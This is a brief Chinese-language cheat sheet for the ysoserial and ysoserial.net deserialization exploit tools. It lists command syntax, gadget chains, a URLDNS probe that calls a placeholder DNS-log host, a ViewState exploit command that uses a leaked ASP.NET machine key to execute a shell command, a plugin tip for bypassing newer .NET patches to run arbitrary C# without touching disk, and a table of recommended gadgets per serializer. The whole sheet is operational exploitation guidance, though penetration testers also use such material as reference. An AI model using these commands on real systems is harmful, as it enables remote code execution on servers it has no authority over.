JAVA_YSO

基础命令格式
java -jar ysoserial.jar [利用链] [执行的命令]

利用链: CommonsCollections1, URLDNS, Jackson 等
探测/检测

如果不确定对方是否存在反序列化漏洞,或者不清楚使用了哪些依赖库可以使用URLDNS

java -jar ysoserial.jar URLDNS "http://your-dnslog-url.com"

注: 如果执行复杂命令最好封装成脚本执行,或者使用sh -c/bash -c

.net_yso

基础命令

ysoserial.exe -g [Gadget] -f [Formatter] -c "[Command]" -o 编码

-g  利用链的名称,如TextFormattingRunProperties
-f  序列化类型,如 BinaryFormatter, Json.Net, ObjectStateFormatter
-c  执行的命令
-o  编码处理,如 raw ,bash64, urlencode

利用 (web Machinekey泄露)

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c echo pwned > C:\windows\temp\test.txt" --validationkey="你的KEY" --validationalg="SHA1"

技巧

- p 参数可以指定插件,对一些特定目标进行测试

-p ViewState:处理 ASP.NET ViewState。
-p ActivitySurrogateSelector:,可以绕过较新的 .NET 补丁,实现无文件落地执行任意 C# 代码。 

利用链:

场景/格式,            				推荐 Gadget,										说明
BinaryFormatter				TextFormattingRunProperties					通用性最强,成功率高
Json.NET					  ObjectDataProvider					   针对特定配置的 JSON 解析
XamlReader,					    ExpandedWrapper					   	   常用于 WPF 或特定 XML 处理
通用(高版本)				   ActivitySurrogateSelector				  配合插件可执行任意 C# 代码